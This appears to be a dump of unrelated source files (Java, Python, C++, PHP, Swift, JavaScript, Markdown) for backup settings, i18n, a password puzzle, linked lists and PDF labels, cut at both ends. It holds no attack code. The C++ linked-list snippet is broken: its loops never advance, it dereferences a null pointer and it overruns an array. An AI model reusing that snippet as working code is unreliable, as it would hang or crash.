BaseAsyncCallback<Long>() { // @Override // public void onSuccess(Long result) { // contentHost.decreaseBusyCount(); // outerThis.onValidatingCompleted(true); // } // // @Override // public void onFailure(Throwable caught) { // // if (caught instanceof BusinessLogicException // && ERR_REMOTE_DEST_WINSYSMSG // .equals(((BusinessLogicException) caught) // .getErrorCode())) { // if(outerThis.model.isBackupToRps() != null // && outerThis.model.isBackupToRps()){ // showErrorMessage(UIContext.Constants.destinationFailedRPS()); // deckPanel.showWidget(STACK_DESTINATION); // contentHost.decreaseBusyCount(); // outerThis.onValidatingCompleted(false); // }else{ // checkDestDriverType(caught, false); // } // } else { // // // Issue: 20231648 Title: FOCUS AFTER ENCRYPTION // // LIC ERR // // Go to destination panel for Encryption // // License error. // if (caught instanceof BusinessLogicException // && "4294967310" // .equals(((BusinessLogicException) caught) // .getErrorCode())) { // deckPanel.showWidget(STACK_DESTINATION); // } // // if (caught instanceof BusinessLogicException // && !((BusinessLogicException) caught) // .getErrorCode() // .equals("4294967302") // && !((BusinessLogicException) caught) // .getErrorCode() // .equals("4294967298")) { // showErrorMessage((BusinessLogicException) caught); // contentHost.decreaseBusyCount(); // outerThis.onValidatingCompleted(false); // } else if (caught instanceof BusinessLogicException // && ((BusinessLogicException) caught) // .getErrorCode() // .equals("17179869217")) { // showErrorMessage((BusinessLogicException) caught); // deckPanel.showWidget(STACK_DESTINATION); // contentHost.decreaseBusyCount(); // outerThis.onValidatingCompleted(false); // } else { // contentHost.decreaseBusyCount(); // outerThis.onValidatingCompleted(false); // super.onFailure(caught); // } // } // } // }); // // return true; } protected void saveAfterValidate(boolean isSaveConfig) { if(isSaveConfig) { Save(); }else { validateBackendSetings(); } } public void popupUserPasswordWindow(final boolean isSaveConfig) { final UserPasswordWindow dlg = new UserPasswordWindow(SettingPresenter.model.getDestination(), "", ""); dlg.setModal(true); dlg.addWindowListener(new WindowListener() { public void windowHide(WindowEvent we) { if (dlg.getCancelled() == false) { String username = dlg.getUsername(); String password = dlg.getPassword(); SettingPresenter.model.setDestUserName(username); SettingPresenter.model.setDestPassword(password); destination.getPathSelectionPanel().setUsername(username); destination.getPathSelectionPanel().setPassword(password); saveAfterValidate(isSaveConfig); } else { contentHost.decreaseBusyCount(); outerThis.onValidatingCompleted(false); } } }); dlg.show(); } public void checkDestDriverType(Throwable caught,boolean isSave) { this.backupSettingPresenter.checkDestDriverType(caught, isSave); // final Throwable orginialExc = caught; // final boolean isSaveConfig = isSave; // CommonServiceAsync commonService = GWT.create(CommonService.class); // commonService.getDestDriveType(model.getDestination(), new BaseAsyncCallback<Long>() // { // @Override // public void onFailure(Throwable caught) { // contentHost.decreaseBusyCount(); // super.onFailure(caught); // } // // @Override // public void onSuccess(Long result) { // if(result == PathSelectionPanel.REMOTE_DRIVE ) // { // popupUserPasswordWindow(isSaveConfig); // } // else { // contentHost.decreaseBusyCount(); // outerThis.onValidatingCompleted(false); // super.onFailure(orginialExc); // } // } // } // ); } /** * fix 18898048 * The first time should meet below criteria: 1.Our backup configuration file does not exist. 2.There must be at least one type of backup job (full/incr/resync) which is scheduled as repeatable. 3.the start time is earlier than the time when user save the backup settings. If these conditions are met, we prompt the user whether we should start a backup job for him/her at once. If user choose Yes, then we launch the backup job immediately. Or, we just schedule the job as usual. */ private long currentTime = 0; // private int firstLaunchBackupType = BackupTypeModel.Full; public void launchFirstBackupJobifNeeded(){ // the first condition if(backupSettingFileExist) return; //decide the needed bakup type; int firstLaunchBackupType = BackupTypeModel.Unknown; if(isConfigureBackupSchedule(BackupTypeModel.Full, SettingPresenter.model)){ firstLaunchBackupType=BackupTypeModel.Full; } else if(isConfigureBackupSchedule(BackupTypeModel.Resync, SettingPresenter.model)){ firstLaunchBackupType=BackupTypeModel.Resync; } else if(isConfigureBackupSchedule(BackupTypeModel.Incremental, SettingPresenter.model)){ firstLaunchBackupType=BackupTypeModel.Incremental; } if(firstLaunchBackupType == BackupTypeModel.Unknown ) return; final int finallyBackupType=firstLaunchBackupType; //I can not use the new Date() to get the current time because the ROOT.war can be on different machine //than webservice machine //one minute gap Broker.loginService.getServerTime(new BaseAsyncCallback<Date>() { @Override public void onSuccess(Date result) { currentTime = result.getTime(); //wanqi06 // launchFirstJobWindow(firstLaunchBackupType); launchFirstJobWindow(finallyBackupType); } @Override public void onFailure(Throwable caught) { //if failed, select a earlier day, so that the first launch box will not pop up. Is it wise or foolproof? Date date = new Date(0); DateWrapper dw = new DateWrapper(date); dw.addDays(1); currentTime = dw.getTime(); //wanqi06 // launchFirstJobWindow(firstLaunchBackupType); launchFirstJobWindow(finallyBackupType); } }); } private void launchFirstJobWindow(int firstLaunchBackupType) { DateWrapper currdw = new DateWrapper(currentTime); currdw = currdw.addMinutes(-1); //if start time is after the server's current enough, we should not bother to pop up the first launch box if(SettingPresenter.model.getBackupStartTime() > currdw.getTime()) return; String startTime = Utils.formatTimeToServerTime(new Date(SettingPresenter.model.getBackupStartTime())); String messageText = Format.substitute( UIContext.Constants.firstJobDescription(),new Object[]{startTime}); final MessageBox message = new MessageBox(); message.setTitleHtml(UIContext.Constants.fisrtLaunchWindowTitle()); message.setIcon(MessageBox.INFO); message.setMessage(messageText); message.setButtons(Dialog.OKCANCEL); message.setModal(true); final int fullBackup = firstLaunchBackupType; message.addCallback(new Listener<MessageBoxEvent>() { @Override public void handleEvent(MessageBoxEvent be) { if(be.getButtonClicked().getItemId().equals(Dialog.OK)){ Broker.commonService.backup(fullBackup, UIContext.Constants.firstLaunchedJobName(), new BaseAsyncCallback<Void>(){ @Override public void onFailure(Throwable caught) { super.onFailure(caught); } @Override public void onSuccess(Void result) { //fix bug 18925882 message.close(); MessageBox box = MessageBox.info(UIContext.Messages.messageBoxTitleInformation(UIContext.productNameD2D), UIContext.Constants.backupNowWindowSubmitSuccessful(), null); Utils.setMessageBoxDebugId(box); } }); } } }); Utils.setMessageBoxDebugId(message); message.show(); } protected boolean Save() { //if (contentHost instanceof D2DCommonSettingTab || contentHost instanceof AgentCommonSettingTree ) { if(this.isD2D()){ //BaseCommonSettingTab tab = (BaseCommonSettingTab) contentHost; //tab.getD2dSettings().setBackupSettingsModel(model); SettingPresenter.getInstance().getD2dSettings().setBackupSettingsModel(SettingPresenter.model); } onSavingCompleted(true); return true; } protected void onSaveSucceed() { //fix 18898048 launchFirstBackupJobifNeeded(); contentHost.decreaseBusyCount(); contentHost.close(); //refresh backup settings information // UIContext.homepagePanel.refresh(null); //refresh preference settings if (UIContext.d2dHomepagePanel != null) UIContext.d2dHomepagePanel.refresh(null, IRefreshable.CS_CONFIG_CHANGED); else if(UIContext.hostPage != null) { UIContext.hostPage.refresh(null); } //refresh archive settings UIContext.d2dHomepagePanel.refreshProtectionSummary(null); } protected void onSaveFailed(BaseAsyncCallback<Long> callback, Throwable caught) { if (caught instanceof BusinessLogicException && ERR_REMOTE_DEST_WINSYSMSG.equals(((BusinessLogicException) caught) .getErrorCode())) { checkDestDriverType(caught, true); } else { contentHost.decreaseBusyCount(); outerThis.onSavingCompleted(false); callback.onFailure(caught); } } protected void checkBLIOnLoad(){ checkBLIAndLimit(); } private void checkBLIAndLimit() { Broker.commonService.checkBLILic(new BaseLicenseAsyncCallback<Boolean>() { @Override public void onFailure(Throwable caught) { super.onFailure(caught); UIContext.hasBLILic = false; } @Override public void onSuccess(Boolean result) { if (result != null) { UIContext.hasBLILic = result; } else { UIContext.hasBLILic = false; } } }); Broker.commonService.getMaxRPLimit(new BaseAsyncCallback<Long>() { @Override public void onSuccess(Long result) { if (result != null && result > 0) { UIContext.maxRPLimit = result; }else{ UIContext.maxRPLimit = UIContext.maxRPLimitDEFAULT; } } }); } @Override protected void onLoad() { super.onLoad(); this.checkBLIAndLimit(); } ////////////////////////////////////////////////////////////////////////// // // ADDED FOR EDGE // ////////////////////////////////////////////////////////////////////////// private boolean isForEdge = false; protected int settingsContentId = -1; @Override public void initialize( ISettingsContentHost contentHost, boolean isForEdge ) { this.contentHost = contentHost; this.isForEdge = isForEdge; this.doInitialization(); // if (!this.isForEdge) // disableEditingIfUsingEdgePolicy(); checkBLIAndLimit(); } @Override public boolean isForEdge() { return this.isForEdge; } @Override public void setIsForEdge( boolean isForEdge ) { this.isForEdge = isForEdge; } @Override public void setId( int settingsContentId ) { this.settingsContentId = settingsContentId; } @Override public Widget getWidget() { return this; } private boolean isD2D = false; @Override public void loadData() { //if (contentHost instanceof D2DCommonSettingTab || contentHost instanceof AgentCommonSettingTree) { if(this.isD2D()){ //BaseCommonSettingTab commonTab = (BaseCommonSettingTab) contentHost; // BackupSettingsModel tmodel = commonTab.getD2dSettings() // .getBackupSettingsModel(); BackupSettingsModel tmodel = SettingPresenter.getInstance().getD2dSettings().getBackupSettingsModel(); if (tmodel.getDestination() == null || tmodel.getDestination().isEmpty()) { BackupSettingsModel model = getDefaultModel(); model.setAdminPassword(tmodel.getAdminPassword()); model.setAdminUserName(tmodel.getAdminUserName()); //wanqi06 model.advanceScheduleModel = tmodel.advanceScheduleModel; model.setBackupStartTime(tmodel.getBackupStartTime()); D2DTimeModel time = new D2DTimeModel(); Date serverDate = Utils.localTimeToServerTime(new Date(tmodel .getBackupStartTime())); time.fromJavaDate(serverDate); model.startTime = time; model.retentionPolicy = new RetentionPolicyModel(); model.retentionPolicy.setRetentionCount(model .getRetentionCount()); model.retentionPolicy.setUseTimeRange(false); SettingPresenter.getInstance().getD2dSettings().setBackupSettingsModel(model); } else { SettingPresenter.model = tmodel; backupSettingFileExist = true; } BackupSettingUtil.getInstance().setBackupSetting(this); RefreshData(); } onLoadingCompleted(true); } @Override public void loadDefaultData() { loadDefaultSettings(); } @Override public void saveData() { //SaveSettings(); Save(); } @Override public void validate() { validateUISettings(); } @Override public void setDefaultEmail(IEmailConfigModel iEmailConfigModel) { } protected void onSavingCompleted( boolean isSuccessful ) { GWT.log("The backupsettingcontent save compelte:"+isSuccessful); SettingPresenter.getInstance().onAsyncOperationCompleted( ISettingsContentHost.Operations.SaveData, isSuccessful ? ISettingsContentHost.OperationResults.Succeeded : ISettingsContentHost.OperationResults.Failed, this.settingsContentId ); } protected boolean isShowForVSphere() { return false; } public void onValidatingCompleted( boolean isSuccessful ) { GWT.log("The backupsettingcontent validate compelte:"+isSuccessful); SettingPresenter.getInstance().onAsyncOperationCompleted( ISettingsContentHost.Operations.Validate, isSuccessful ? ISettingsContentHost.OperationResults.Succeeded : ISettingsContentHost.OperationResults.Failed, this.settingsContentId ); } protected void onLoadingCompleted( boolean isSuccessful ) { if(isSuccessful) { BackupSettingUtil.getInstance().setBackupSetting(this); } GWT.log("The backupsettingcontent load compelte:"+isSuccessful); SettingPresenter.getInstance().onAsyncOperationCompleted( ISettingsContentHost.Operations.LoadData, isSuccessful ? ISettingsContentHost.OperationResults.Succeeded : ISettingsContentHost.OperationResults.Failed, this.settingsContentId ); } public RepeatAdvancedScheduleSettings getAdScheduleSettings() { return this.schedule; } public BackupSettings getSettings() { return settings; } public void setSettings(BackupSettings settings) { this.settings = settings; } protected void addEmailAlertToDeckPanel() { } protected void downEmailAlertButtonAndLabel() { } protected void addEmailAlertButtonPanel() { } protected boolean validateEmailAlert() { return true; } @Override public boolean isForLiteIT() { // TODO Auto-generated method stub return false; } @Override public void setisForLiteIT(boolean isForLiteIT) { // TODO Auto-generated method stub } @Override public List<SettingsTab> getTabList() { // TODO Auto-generated method stub return null; } @Override public void switchTab(String tabId) { // TODO Auto-generated method stub } //wanqi06 private boolean isConfigureBackupSchedule(int backupType, BackupSettingsModel model) { if (model.getBackupDataFormat() > 0) { if (model.advanceScheduleModel != null && model.advanceScheduleModel.daylyScheduleDetailItemModel != null) { for (DailyScheduleDetailItemModel dailyModel : model.advanceScheduleModel.daylyScheduleDetailItemModel) { if (dailyModel.scheduleDetailItemModels != null){ for (ScheduleDetailItemModel detailModel : dailyModel.scheduleDetailItemModels) { if (detailModel.getJobType() == backupType) return true; } } } } } else { // legacy schedule if (backupType == BackupTypeModel.Full && model.fullSchedule != null && model.fullSchedule.isEnabled()) { return true; } else if (backupType == BackupTypeModel.Incremental && model.incrementalSchedule != null && model.incrementalSchedule.isEnabled()) { return true; } else if (backupType == BackupTypeModel.Resync && model.resyncSchedule != null && model.resyncSchedule.isEnabled()) { return true; } } return false; } public boolean isD2D() { return isD2D; } public void setD2D(boolean isD2D) { this.isD2D = isD2D; } }
Java
UTF-8
757
1.742188
2
[]
no_license
/** * <copyright> * </copyright> * * $Id$ */ package metabup.shell.impl; import metabup.shell.Command; import metabup.shell.ShellPackage; import org.eclipse.emf.ecore.EClass; import org.eclipse.emf.ecore.impl.EObjectImpl; /** * <!-- begin-user-doc --> * An implementation of the model object '<em><b>Command</b></em>'. * <!-- end-user-doc --> * * @generated */ public abstract class CommandImpl extends EObjectImpl implements Command { /** * <!-- begin-user-doc --> * <!-- end-user-doc --> * @generated */ protected CommandImpl() { super(); } /** * <!-- begin-user-doc --> * <!-- end-user-doc --> * @generated */ @Override protected EClass eStaticClass() { return ShellPackage.Literals.COMMAND; } } //CommandImpl
Python
UTF-8
1,130
3.515625
4
[]
no_license
_range = (165432, 707912) passwords = [[int(digit) for digit in str(number)] for number in range(_range[0], _range[1])] print("Passwords count:", len(passwords)) def is_not_descending(password): for i in range(len(password) - 1): if password[i] > password[i+1]: return False return True filtered1 = list(filter(is_not_descending, passwords)) print("Not descending passwords count:", len(filtered1)) def same_two_adjacent_digits(password): for i in range(len(password) - 1): if password[i] == password[i+1]: return True return False def has_exact_two_same_adjacent_digits(password): adjacent_equal_digits = [] temp = 1 for i in range(len(password) - 1): if password[i] == password[i+1]: temp += 1 else: adjacent_equal_digits.append(temp) temp = 1 adjacent_equal_digits.append(temp) return 2 in adjacent_equal_digits # Part 1 # filtered2 = list(filter(same_two_adjacent_digits, filtered1)) # Part 2 filtered2 = list(filter(has_exact_two_same_adjacent_digits, filtered1)) print("Final filtered passwords count:", len(filtered2))
Markdown
UTF-8
1,033
3.109375
3
[ "MIT" ]
permissive
作用域 ---------- let声明的变量 旨在 它声明的块或者字块中可用。与var相似,但var尚明的变量的作用域是整个封闭函数。 暂时性死区 ---------- let被创建在包含该声明的作用域顶部,一般被成为提升。与通过var声明的初始化值undefined的变量不同,通过let声明的变量知道他们的定义被执行时才初始化。 在变量初始化前访问该变量会导致ReferenceError。该变量处在一个字块顶部到初始化处理的“暂存死区”中。 模仿私有接口 ---------- 发生在处理构造函数的时候 ``` ; (global => { var Fn; { let private = {}; Fn = function Fn() { private.a = '2'; } Fn.prototype.ap = function () { console.log('this.', this.private); console.log('private', private); } } var instance = new Fn(); instance.ap(); })(window); ``` let vs var ----------- let 的作用域是块,var的作用域是函数
Java
UTF-8
1,677
2.75
3
[]
no_license
package tech.freecode.commonmark.ext.url.accessibility; import java.io.IOException; import java.net.HttpURLConnection; import java.net.MalformedURLException; import java.net.URL; public class ExternalUrlAccessabilityValidator implements UrlAccessibilityValidator { @Override public ValidationResult validate(Url url) { ValidationResult result = new ValidationResult(); if (!UrlUtils.isExternalUrl(url)){ result.setDone(false); return result; } try{ url = UrlUtils.wellform(url); URL link = new URL(url.getDestination()); HttpURLConnection conn = (HttpURLConnection) link.openConnection(); int status = conn.getResponseCode(); if (status == 200){ result.setStatus(ValidationResult.Status.OK); result.setMsg("OK"); result.setDone(true); return result; }else { result.setStatus(ValidationResult.Status.FAIL); result.setMsg(url.getDestination() + " can not be accessed."); result.setDone(true); return result; } }catch (MalformedURLException ex){ result.setStatus(ValidationResult.Status.FAIL); result.setMsg(url.getDestination() + " is a bad-formed url."); result.setDone(true); return result; }catch (IOException ex){ result.setStatus(ValidationResult.Status.FAIL); result.setMsg(url.getDestination() + " can not be accessed."); result.setDone(true); return result; } } }
C++
UTF-8
1,109
3.53125
4
[]
no_license
#include<iostream> using namespace std; struct SingleNode { int data; SingleNode *next; }; SingleNode *h; struct DoubleNode { int data; SingleNode *next; SingleNode *prev; }; DoubleNode *head, *tail; int main() { int arr[5] = {1,2,3,4,5}; cout<<"N = 5\n"; cout<<"Static array of size 5\n"; for(int i = 0; i<5; i++) { cout<<arr[i]<<" "; } int dynArr[5]; int n; cout<<"Enter n\n"; cin>>n; cout<<endl; n*=2; cout<<"This is dynamic array\nEnter "<<n<<" elements\n"; for(int i = 0; i<n ; i++) { cin>>dynArr[i]; } h = new SingleNode(); h->data = 1; SingleNode *node2 = new SingleNode(); node2->next = NULL; cout<<"Single link list\n"; for(SingleNode *ptr = h; h!=NULL; ptr = ptr->next) cout<<ptr->data<<endl; head = new DoubleNode(); head->data = 1; head->next = NULL; head->prev = tail->next; tail = head; //doubly link list for(DoubleNode *ptr = head; head!=NULL; ptr = ptr->next) cout<<ptr->data<<endl; //circulsr link list head->data = 1; head->prev = tail; tail->next = head; head->next = NULL; }
PHP
UTF-8
3,972
2.859375
3
[ "Apache-2.0" ]
permissive
<?php /** * Created by PhpStorm. * User: Rhilip * Date: 2019/3/13 * Time: 19:55 */ namespace Rid\Component; use Symfony\Component\Translation\Translator; class I18n { /** * Allowed language * This is the set of language which is used to limit user languages. No-exist language will not accept. * * @var array */ public array $allowedLangSet = ['en', 'zh-CN']; /** * Forced language * If you want to force a specific language define it here. * * @var string */ public ?string $forcedLang = null; /** @var Translator */ protected ?Translator $_translator; public function __construct(Translator $_translator) { $this->_translator = $_translator; } /** * getUserLangs() * Returns the user languages * Normally it returns an array like this: * 1. Language in $_GET['lang'] * 2. Language in user setting * 3. HTTP_ACCEPT_LANGUAGE * Note: duplicate values are deleted. * * @return string the user languages sorted by priority. */ public function getUserLang() { // Return Cache value in context if (context()->has('lang')) { return context()->get('lang'); } // Determine $judged_langs = []; // 1nd highest priority: GET parameter 'lang' if (container()->get('request')->query->has('lang')) { $judged_langs[] = container()->get('request')->query->get('lang'); } // 2rd highest priority: user setting for login user if (container()->get('auth')->getCurUser() && !is_null(container()->get('auth')->getCurUser()->getLang())) { $judged_langs[] = container()->get('auth')->getCurUser()->getLang(); } // 3th highest priority: HTTP_ACCEPT_LANGUAGE if (container()->get('request')->headers->has('accept_language')) { /** * We get headers like this string 'en-US,en;q=0.8,uk;q=0.6' * And then sort to an array like this after sort * * array(size=4) * 'en-US' => float 1 * 'en' => float 0.8 * 'uk' => float 0.6 * */ $prefLocales = array_reduce( explode(',', container()->get('request')->headers->get('accept_language')), function ($res, $el) { list($l, $q) = array_merge(explode(';q=', $el), [1]); $res[$l] = (float)$q; return $res; }, [] ); arsort($prefLocales); foreach ($prefLocales as $part => $q) { $judged_langs[] = $part; } } $userLangs = array_intersect( array_unique($judged_langs), // remove duplicate elements $this->allowedLangSet ); foreach ($userLangs as $lang) { container()->get('request')->attributes->set('user_lang', $lang); // Store it for last use if not in req mode return $lang; } return null; } /** * Get i18n text by call static constant, if the string is not exist. The empty string '' * will be return. * * @param string $string the trans string * @param array $args the args used for format string * @param string|null $domain The domain for the message or null to use the default * @param string|null $required_lang the required lang * @return string */ public function trans($string, $args = [], $domain = null, $required_lang = null) { $local = $this->forcedLang ?? // Highest priority: forced language $required_lang ?? // 1st highest priority: required language $this->getUserLang(); return $this->_translator->trans($string, $args, $domain, $local); } }
Swift
UTF-8
817
3.171875
3
[ "MIT" ]
permissive
// // ViewController.swift // Detecting Which Floor the User Is on in a Building // // Created by Domenico Solazzo on 17/05/15. // License MIT // import UIKit import MapKit import CoreLocation class ViewController: UIViewController, CLLocationManagerDelegate { func locationManager(_ manager: CLLocationManager, didUpdateLocations locations: [CLLocation]) { print("Updated locations... \(#function)") if locations.count > 0{ let location = (locations )[0] print("Location found = \(location)") if let theFloor = location.floor{ print("The floor information is = \(theFloor)") print("Level: \(theFloor.level)") } else { print("No floor information is available") } } } }
Java
UTF-8
7,970
2.109375
2
[]
no_license
package limeng.com.findyou.view; import android.graphics.Color; import android.os.Handler; import android.os.Message; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.util.Log; import android.view.View; import android.widget.TextView; import com.google.gson.reflect.TypeToken; import java.io.IOException; import java.util.ArrayList; import java.util.List; import limeng.com.findyou.R; import model.dto.DataRoot; import model.pojo.Topic; import okhttp3.Call; import okhttp3.Callback; import okhttp3.Response; import ui.MyThemeAdapter; import utils.GsonManager; import utils.HttpUtils; import utils.LoginUtils; import utils.ScreenUtils; import utils.ToastUtils; import widget.PullToLoaderRecylerView; public class MyThemeActivity extends AppCompatActivity { private Handler mHandler = new Handler(){ @Override public void handleMessage(Message msg) { super.handleMessage(msg); switch (msg.what){ case 0: Log.e("aaaaaaaa","=========="); tlist = (List<Topic>) msg.obj; adapter = new MyThemeAdapter(MyThemeActivity.this,tlist); view.setAdapter(adapter);break; case 1: tlist = (List<Topic>) msg.obj; adapter = new MyThemeAdapter(MyThemeActivity.this,tlist); view.setAdapter(adapter); postDelayed(new Runnable() { @Override public void run() { view.setPullLoadMoreCompleted(); } },1000); break; case 2: tlist.addAll((List<Topic>) msg.obj); adapter = new MyThemeAdapter(MyThemeActivity.this,tlist); view.setAdapter(adapter); postDelayed(new Runnable() { @Override public void run() { view.setPullLoadMoreCompleted(); } },1000); break; case 3: ToastUtils.showShortMessage(MyThemeActivity.this,"当前无更多数据"); postDelayed(new Runnable() { @Override public void run() { view.setPullLoadMoreCompleted(); } },1000); break; } } }; private PullToLoaderRecylerView view; private MyThemeAdapter adapter; private TextView tx; private List<Topic> tlist = new ArrayList<>(); private static int i = 1; int uid = LoginUtils.userInfo.getId(); @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_my_theme); tx = (TextView) findViewById(R.id.back); tx.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { finish(); } }); view = (PullToLoaderRecylerView) findViewById(R.id.myview); view.setFooterViewText("下拉加载更多"); view.setLinearLayout(); view.setEmptyView(getLayoutInflater().inflate(R.layout.empty_layout,null)); adapter = new MyThemeAdapter(MyThemeActivity.this,new ArrayList<Topic>()); view.setAdapter(adapter); HttpUtils.request("topic/getall?uid="+LoginUtils.userInfo.getId()+"&pid=1&pageSize=5", null, new Callback() { @Override public void onFailure(Call call, IOException e) { runOnUiThread(new Runnable() { @Override public void run() { ToastUtils.showShortMessage(MyThemeActivity.this,"当前网络不可用"); } }); } @Override public void onResponse(Call call, Response response) throws IOException { if(response.code()==200){ Log.e("onResume","ok"); DataRoot<List<Topic>> root = GsonManager.parseJson(response.body().string(),new TypeToken<DataRoot<List<Topic>>>(){}); Log.e("onResume====",""+root.getData().size()); if(root.getData()!=null&&root.getData().size()>0){ List<Topic> tlist = root.getData(); Message msg = Message.obtain(); msg.what=0; msg.obj = tlist; mHandler.sendMessage(msg); }else{ // runOnUiThread(new Runnable() { // @Override // public void run() { // view.setVisibility(View.GONE); // } // }); } } } }); view.setOnPullLoadMoreListener(new PullToLoaderRecylerView.PullLoadMoreListener() { @Override public void onRefresh() { i = 1; HttpUtils.request("topic/getall?uid="+LoginUtils.userInfo.getId()+"&pid=1&pageSize=5", null, new Callback() { @Override public void onFailure(Call call, IOException e) { runOnUiThread(new Runnable() { @Override public void run() { ToastUtils.showShortMessage(MyThemeActivity.this,"当前网络不可用"); } }); } @Override public void onResponse(Call call, Response response) throws IOException { DataRoot<List<Topic>> root = GsonManager.parseJson(response.body().string(),new TypeToken<DataRoot<List<Topic>>>(){}); Message msg = Message.obtain(); msg.what=1; msg.obj = root.getData(); mHandler.sendMessage(msg); } }); } @Override public void onLoadMore() { i++; HttpUtils.request("topic/getall?uid="+LoginUtils.userInfo.getId()+"&pid="+i+"&pageSize=5", null, new Callback() { @Override public void onFailure(Call call, IOException e) { runOnUiThread(new Runnable() { @Override public void run() { ToastUtils.showShortMessage(MyThemeActivity.this,"当前网络不可用"); } }); } @Override public void onResponse(Call call, Response response) throws IOException { DataRoot<List<Topic>> root = GsonManager.parseJson(response.body().string(),new TypeToken<DataRoot<List<Topic>>>(){}); if(root.getData()!=null&&root.getData().size()>0){ Message msg = Message.obtain(); msg.what=2; msg.obj = root.getData(); mHandler.sendMessage(msg); }else{ mHandler.sendEmptyMessage(3); } } }); } }); } @Override protected void onResume() { super.onResume(); view.setVisibility(View.VISIBLE); ScreenUtils.doStatueImmersive(this, Color.BLACK,R.color.colorStatusBar); } }
JavaScript
UTF-8
2,143
2.78125
3
[]
no_license
var cutscene={}; cutscene.active=false; cutscene.queue=[]; cutscene.update=function() { if (this.queue.length>0) { this.queue[0].update(); if (this.queue[0].done) { this.queue.splice(0,1); if (this.queue.length==0) { this.active=false; } } } else { this.active=false; } } cutscene.render=function(ctx) { if (this.queue.length>0) { this.queue[0].render(ctx); } } class CutscenePart { constructor() { this.done=false; } update() {} render(ctx) {} } class Dialog extends CutscenePart { constructor(text,x,y) { super(); this.text=text; this.x=x; this.y=y; this.index=0; } update() { if (keys[4].isPressed) { do { this.index++; if (this.index>=this.text.length) { this.done=true; break; } else { switch(this.text[this.index].type) { case "plotAdvance": plotCounters[this.text[this.index].counter]=this.text[this.index].value; break; } } } while (!this.text[this.index][0]); } } render(ctx) { drawSpeechBox(this.text[this.index],this.x,this.y); } } class CameraGlide extends CutscenePart { constructor(x1,y1,x2,y2,speed) { super(); this.x=x2; this.y=y2; this.d=new Vector(x2-x1,y2-y1); this.counter=Math.ceil(this.d.mag()/speed); this.d=this.d.scale(speed); } update() { camera.x+=this.d.x; camera.y+=this.d.y; if (--this.counter<=0) { camera.x=this.x; camera.y=this.y; this.done=true; } } } cutscene.addDialog=function(text,x,y) { this.queue.push(new CameraGlide(camera.x,camera.y,x,y,2)); this.queue.push(new Dialog(text,x,y)); this.queue.push(new CameraGlide(x,y,camera.x,camera.y,2)); this.active=true; }
Java
UTF-8
6,296
2.609375
3
[]
no_license
package pl.mazur.simpleabclibrary.utils.pdf; import java.io.File; import java.io.IOException; import java.net.MalformedURLException; import java.net.URL; import java.text.SimpleDateFormat; import java.util.Date; import org.springframework.stereotype.Component; import com.itextpdf.text.BadElementException; import com.itextpdf.text.BaseColor; import com.itextpdf.text.Document; import com.itextpdf.text.DocumentException; import com.itextpdf.text.Element; import com.itextpdf.text.Font; import com.itextpdf.text.FontFactory; import com.itextpdf.text.Image; import com.itextpdf.text.Paragraph; import com.itextpdf.text.Rectangle; import com.itextpdf.text.pdf.BaseFont; import com.itextpdf.text.pdf.PdfPCell; import com.itextpdf.text.pdf.PdfPTable; import com.opensymphony.xwork2.util.ClassLoaderUtil; import pl.mazur.simpleabclibrary.entity.Book; /** * Utility class used to generate book labels. * * @author Marcin Mazur * */ @Component public class BookLabelGeneratorImpl implements BookLabelGenerator { // Set the fonts of the label private Font tableFontNormal = FontFactory.getFont(BaseFont.HELVETICA, BaseFont.CP1250, BaseFont.EMBEDDED, 10.0f, Font.NORMAL, BaseColor.BLACK); private Font tableFontBold = FontFactory.getFont(BaseFont.HELVETICA, BaseFont.CP1250, BaseFont.EMBEDDED, 10.0f, Font.BOLD, BaseColor.BLACK); public File generateBookLabel(Book theBook, String userName) { File tempFile = null; SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm"); String stringBookId = String.valueOf(theBook.getId()); try { // Get the Simple ABC logo URL url = ClassLoaderUtil.getResource("ABC_logo_v2.png", BookLabelGeneratorImpl.class); Image logoImage = Image.getInstance(url); Rectangle pageSize = new Rectangle(400, 500); Document document = new Document(pageSize, 20,20,20,20); // Get the bar code Image barcodeImage = Image.getInstance(BarcodeGenerator.generateBarcode(stringBookId)); // Start creating a label tempFile = File.createTempFile("tempFile", ".pdf"); PdfPCell cell; Paragraph paragraph; float[] columnWidths = { 30, 40, 40, 40, 35 }; PdfPTable table = new PdfPTable(columnWidths); // Set document parameters document.addTitle("Book Label"); document.addAuthor("Simple ABC Library"); document.setMarginMirroring(true); document.open(); // LOGO cell = new PdfPCell(); cell.addElement(logoImage); // cell.addElement(new Paragraph("logo")); cell.setColspan(4); cell.setRowspan(2); table.addCell(cell); // ID cell = new PdfPCell(); paragraph = new Paragraph("ID"); paragraph.setAlignment(Element.ALIGN_CENTER); paragraph.setExtraParagraphSpace(6); cell.addElement(paragraph); table.addCell(cell); cell = new PdfPCell(); paragraph = new Paragraph(stringBookId); paragraph.setAlignment(Element.ALIGN_CENTER); paragraph.setExtraParagraphSpace(6); paragraph.setPaddingTop(20); cell.addElement(paragraph); table.addCell(cell); // BAR CODE cell = new PdfPCell(); cell.addElement(barcodeImage); cell.setColspan(5); table.addCell(cell); // TITLE cell = new PdfPCell(); paragraph = new Paragraph("Title: ", tableFontNormal); cell.addElement(paragraph); cell.setFixedHeight(34); table.addCell(cell); cell = new PdfPCell(); paragraph = new Paragraph(theBook.getTitle(), tableFontBold); cell.addElement(paragraph); cell.setColspan(4); cell.setFixedHeight(34); cell.setPaddingBottom(4); cell.setPaddingTop(0); table.addCell(cell); // AUTHOR cell = new PdfPCell(); paragraph = new Paragraph("Author: ", tableFontNormal); cell.addElement(paragraph); cell.setFixedHeight(30); table.addCell(cell); cell = new PdfPCell(); paragraph = new Paragraph(theBook.getAuthor(), tableFontBold); cell.addElement(paragraph); cell.setColspan(4); cell.setFixedHeight(30); table.addCell(cell); // PUBLISHER cell = new PdfPCell(); paragraph = new Paragraph("Publ.:", tableFontNormal); cell.addElement(paragraph); cell.setFixedHeight(30); table.addCell(cell); cell = new PdfPCell(); paragraph = new Paragraph(theBook.getPublisher(), tableFontBold); cell.addElement(paragraph); cell.setColspan(4); cell.setFixedHeight(30); table.addCell(cell); // ISBN cell = new PdfPCell(); paragraph = new Paragraph("ISBN:", tableFontNormal); cell.addElement(paragraph); cell.setFixedHeight(30); table.addCell(cell); cell = new PdfPCell(); String stringIsbn = String.valueOf(theBook.getIsbn()); paragraph = new Paragraph(stringIsbn, tableFontBold); cell.addElement(paragraph); cell.setColspan(4); 